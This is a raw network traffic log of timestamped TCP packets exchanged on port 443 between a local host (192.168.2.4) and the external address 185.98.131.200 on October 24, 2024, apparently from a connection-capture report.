Oct 24, 2024 13:27:45.700858116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.700963974 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.700988054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.701008081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.701051950 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.701087952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.701087952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.469995022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.470009089 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.470051050 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.470307112 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.470307112 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.470371962 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.470473051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.578330994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.578357935 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.578524113 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.578545094 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.578628063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.585057974 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.585088015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.585139036 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.585170031 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.585185051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.585211039 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.694861889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.694924116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.695281029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:46.695360899 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:46.695447922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.473963022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.473993063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.474040985 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.474066019 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.474066019 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.474149942 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.474184036 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.474216938 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.474216938 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.474245071 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.587575912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.587649107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.587737083 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.587800026 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.587836027 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.587858915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.603835106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.603904963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.603939056 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.603951931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:47.603985071 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:47.604005098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.222475052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.222502947 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.222549915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.222594023 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.222664118 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.222713947 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.222713947 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.235212088 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.235253096 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.235296011 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.235332012 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.235363007 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.235382080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.333100080 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.333142996 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.333201885 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.333220959 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.333250999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.333271980 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.339529037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.339571953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.339611053 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.339622974 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.339649916 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.339669943 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.343678951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.343719959 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.343749046 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.343760967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:48.343787909 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:48.343806982 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.582705975 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.582741022 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.582887888 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.582942963 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.582943916 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.583009958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.583079100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.583148003 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.583148003 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.583148956 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.586714029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.586760044 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.587074995 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.587136030 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.587590933 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.700021982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.700079918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.700243950 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.700244904 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:49.700323105 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:49.700490952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.463815928 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.463840961 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.463886976 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.463912964 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.463984966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464046955 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464047909 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464081049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464122057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464143991 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464160919 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464188099 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464207888 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464256048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464296103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464317083 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464328051 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464351892 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464370966 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464410067 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464451075 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464468956 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464494944 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.464528084 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.464528084 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.468055010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.468101025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.468153954 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.468166113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:50.468200922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:50.468200922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.606602907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.606616974 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.606637001 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.606703997 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.606770992 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.606806040 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.606827021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.611767054 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.611787081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.611841917 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.611856937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.611884117 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.611903906 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.723566055 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.723592043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.723659039 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.723723888 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:51.723762989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:51.723787069 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.246865034 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.246877909 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.246897936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.246956110 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.247020006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.247059107 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.247081041 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.354213953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.354243040 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.354356050 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.354424000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.354605913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.359400988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.359421015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.359497070 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.359532118 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.359575987 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.363853931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.363873005 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.363945961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.363966942 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.363984108 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.364008904 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.370208979 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.370230913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.370304108 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.370331049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:52.370354891 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:52.370374918 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.608150959 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.608164072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.608201027 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.608246088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.608300924 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.608336926 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.608361006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.608382940 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.608405113 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.613523006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.613548994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.613616943 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.613631964 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.613686085 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.725702047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.725729942 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.725821972 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:53.725851059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:53.725904942 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.254367113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.254384995 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.254421949 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.254496098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.254565001 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.254646063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.254646063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.361773968 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.361804008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.361876011 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.361918926 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.361953974 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.361974001 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.366875887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.366898060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.366985083 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.367001057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.367106915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.371395111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.371414900 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.371582985 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.371596098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.371660948 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.377605915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.377624035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.377692938 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:54.377707005 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:54.377759933 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.612931967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.612945080 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.612981081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.613034964 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.613102913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.613142014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.613163948 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.616982937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.617002010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.617110014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.617110014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.617127895 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.617181063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.728744030 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.728764057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.728838921 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:55.728857994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:55.728910923 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.257986069 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.257999897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.258033991 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.258176088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.258176088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.258208990 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.258261919 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.365344048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.365370989 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.365598917 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.365662098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.366285086 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.370438099 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.370457888 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.370523930 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.370537043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.370755911 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.375417948 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.375438929 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.375494957 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.375514984 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:56.375540018 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:56.375564098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.256428957 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.256488085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.256532907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.256573915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.256608963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.256629944 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.256637096 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.256674051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.365016937 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.365044117 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.365140915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.365205050 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.365263939 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.371539116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.371557951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.371617079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.371664047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.371696949 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.371718884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.377614021 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.377633095 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.377701998 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.377722025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.377744913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.377762079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.481034040 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.481064081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.481123924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.481158972 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:57.481178999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:57.481195927 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.618861914 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.618877888 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.618916988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.618964911 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.619031906 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.619093895 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.619093895 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.623291016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.623320103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.623368979 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.623383999 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.623409986 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.623428106 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.736175060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.736201048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.736291885 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:58.736351967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:58.736411095 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.404632092 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.404647112 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.404669046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.404725075 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.404725075 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.404792070 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.404908895 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.405061960 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.405082941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.405122995 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.405159950 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.405190945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.405225992 CEST	49731	443	192.168.2.4	185.98.131.200
